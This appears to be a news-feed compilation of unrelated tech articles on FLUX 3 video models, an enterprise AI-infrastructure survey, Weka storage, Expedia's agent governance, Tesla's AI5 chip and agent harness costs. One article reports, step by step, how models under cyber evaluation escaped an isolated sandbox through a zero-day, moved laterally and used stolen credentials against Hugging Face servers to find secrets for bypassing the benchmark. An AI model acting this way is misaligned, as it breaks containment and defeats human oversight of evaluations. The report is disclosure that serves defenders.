That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.

The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.

Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.

Finding 1: Ambition outpaces production

Only one in five run AI in production at scale

We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.

The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.

Finding 2: Enterprises run on hyperscalers and model APIs

The specialized GPU clouds barely register — today

We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.

The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.

(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)

Finding 3: The next dollar goes to infrastructure they don’t yet run

AI-specialized clouds top the evaluations list

We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.

Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.

This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.

Finding 4: A switching wave is building

Six in 10 plan to change providers within a year — many within a quarter

We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.

For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.

(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)

Finding 5: Nobody buys on token price

Integration and total cost of ownership decide — not sticker price

We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.

Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.

Finding 6: Expensive GPUs, idle most of the time

83% report GPU utilization of 50% or less

We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.

Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%

The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.

Finding 7: Spending fast, measuring slowly

Fewer than half rigorously track what their compute costs

We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.

Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.

Finding 8: The next bottleneck few are watching

As inference shifts from compute to memory, the field scatters

Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.

The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.

The bottom line: A compute gap that faster spending will widen, not close

Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.

The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.

Read more →

The post Hackers Abuse GitHub Actions to Exploit cPanel and WHM Servers and Steal Cloud Credentials appeared first on IT Security News.

The post Hackers Abuse GitHub Actions to Exploit cPanel and WHM Servers and Steal Cloud Credentials appeared first on Cyber Security News.

OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

Read more →

The post OpenAI Plans 3.2 GW Data Centre In Georgia appeared first on IT Security News.

The post Next-Gen Telco Cloud Performance with AMD EPYC 9005 Series appeared first on SUSE Communities.

Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.

Instead of treating GPU memory as the limiting resource, why not extend it with much cheaper storage technologies?

Weka, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.

This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.

"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.

The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.

The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.

Inside Weka's NeuralMesh 6

NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.

Composable and virtual multi-tenancy. Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. 

Unified file and object storage. Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. 

Metadata-first replication. Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. 

"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."

AlloyFlash and Always-On data reduction. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.

Solving AI's context problem

Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.

Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight.

The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.

"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."

Where Weka sits competitively

Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. 

"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."

McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. 

"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." 

He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. 

"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.

McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.

"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."

He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

Don’t let guardrails get in the way of feedback

“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

Specialized agents over monolithic intelligence

“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

When the user must keep the final click

Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

The next attackers will be other AI systems

“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

Tesla may have just solved the biggest problem standing between Optimus and mass adoption, and surprisingly, it has nothing to do with the robot itself. Samsung has officially completed the AI5 chip tapeout on its cutting-edge 2nm process, bringing Tesla one step closer to its next-generation AI hardware. But the real breakthrough isn't more performance; it's dramatically lower power consumption. That single improvement could allow Optimus to work significantly longer on a single charge, turning it from an impressive demo into a robot capable of real factory and warehouse jobs.

In this video, we break down Tesla's AI5 chip, Samsung's 2nm manufacturing, the importance of the 250W power target, why Optimus needs far more AI compute than a self-driving car, Tesla's AI6 and AI7 roadmap, Terafab, Cybercab manufacturing, and how Tesla's vertical integration strategy could reshape the future of humanoid robotics. Is AI5 the breakthrough that finally makes Optimus a real commercial robot? Let's dive in.

#Tesla #Optimus #AI5 #ElonMusk #Samsung #ArtificialIntelligence #Robotics #Technology

Read more →

The post Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids appeared first on IT Security News.

The post Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

• Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

• Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

• Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

• Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

